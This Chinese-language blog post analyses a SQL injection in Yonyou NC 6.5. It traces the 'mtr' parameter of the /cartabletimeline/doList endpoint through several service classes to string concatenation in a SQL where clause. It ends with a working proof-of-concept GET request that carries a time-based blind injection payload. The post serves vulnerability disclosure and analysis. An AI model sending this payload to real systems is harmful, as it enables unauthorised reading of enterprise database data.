用友NC 漏洞分析--cartabletimeline存在SQL注入

用友NC是一款大型erp企业管理系统与电子商务平台;用友网络科技股份有限公司用友NC存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

用友NC 漏洞分析--cartabletimeline存在SQL注入

漏洞描述

用友NC是一款大型erp企业管理系统与电子商务平台。用友网络科技股份有限公司用友NC存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

影响版本

用友NC6.5

漏洞分析

VsmAction类中此处存在@Servlet注解,也就是说当访问路径为/cartabletimeline会直接定位到这里。

image.png
doList方法上面标注了@Action标签,当我们请求/cartabletimeline/doList的时候就会进入该doList方法。

继续看doList方法的详细代码

image.png
这里接收了一个参数为mtr,并且传入getVehicleApplyInfo函数来执行,传入时将sb变量转为字符串类型。

getVehicleApplyInfo函数是carTalbeService对象进行调用的,而carTalbeService对象是通过ICarTalbeService接口来进行实例化。

进入ICarTalbeService接口

image.png
追踪ICarTalbeService接口的实现类
定位到PsndocServiceImpl

image.png
观察getVehicleApplyInfo具体实现内容

image.png
传入参数后调用了getCarTableQueryService().getgetUserVehicleApplyInfo

查看getCarTableQueryService内容

image.png
这里返回的是一个carTableQueryService类型的对象,那么去看carTableQueryService类中的getgetUserVehicleApplyInfo方法

image.png
跟踪queryVOs,定位到CRUDHelper

image.png
类方法getCRUDService() 根据传入的类名AggVOCrudServiceImpl去加载并返回一个 ILfwCRUDService 类型的实例

定位到ILfwCRUDService

image.png
查看queryVOs函数内容

image.png
通过服务定位器ServiceLocator来获取一个实现了 ILfwQueryService 接口的服务实例

定位到ILfwQueryService实现类LfwQueryServiceImpl
参数wherePart不为空,且不以"where"字符结尾,则拼接进sql语句

image.png

image.png
至此代码分析结束

漏洞POC

GET /portal/pt/cartabletimeline/doList?pageId=login&mtr=1)WAITFOR+DELAY+%270:0:2%27--+ HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Priority: u=4

image.png

  • 发表于 2024-11-27 09:00:01
  • 阅读 ( 7864 )
  • 分类:Web应用

0 条评论

请先 登录 后评论
WLwl
WLwl

2 篇文章

站长统计